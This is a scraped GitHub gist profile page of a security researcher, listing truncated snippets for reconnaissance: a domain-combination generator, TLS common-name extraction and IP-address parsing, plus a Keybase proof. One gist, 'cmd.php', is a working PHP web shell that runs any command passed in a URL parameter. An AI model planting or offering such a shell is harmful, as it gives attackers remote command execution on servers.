Skip to content

Instantly share code, notes, and snippets.

hacking \o/

Luke Stephens (hakluke) hakluke

hacking \o/
View GitHub Profile
hakluke / hakcombos.go
Last active Aug 5, 2021
Generate all 3 character domains of all TLDs in ./tlds.txt
View hakcombos.go
package main
import (
func main() {
chars := []string{"1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "-"}
import ssl,sys,json
cert = ssl.get_server_certificate((sys.argv[1], 443)) #Retrieve SSL server certificate
cert = ssl.PEM_cert_to_DER_cert(cert) #Convert certificate to DER format
begin = cert.rfind(b'\x06\x03\x55\x04\x03') + 7 #Find the last occurence of this byte string indicating the CN, add 7 bytes to startpoint to account for length of byte string and padding
end = begin + cert[begin - 1] #Set endpoint to startpoint + the length of the CN
jsondata = {"ip": sys.argv[1], "cn": cert[begin:end].decode('utf-8')}

Keybase proof

I hereby claim:

  • I am hakluke on github.
  • I am hakluke ( on keybase.
  • I have a public key ASCvTkh5UyT1IOHbTurvVOud_neQtuy8ugKTfpjQzbhmAQo

To claim this, I am signing this object:

View cmd.php
<?php system($_GET['cmd']); ?>
hakluke /
Created May 18, 2019
Little Python script to open a list of URLs from a file in browser tabs, n tabs at a time
#! /usr/bin/python3
import webbrowser, sys
if len(sys.argv) < 3:
print("Usage: ./urls.txt 20")
f = open(sys.argv[1])
tabs = int(sys.argv[2])
counter = 1
hakluke /
Last active Apr 13, 2021
Little Python script to dump IP addresses from a file
import sys, re
f = open(sys.argv[1],'r')
text =
ips = []
regex = re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b',text)
if regex is not None:
for match in regex:
if match not in ips: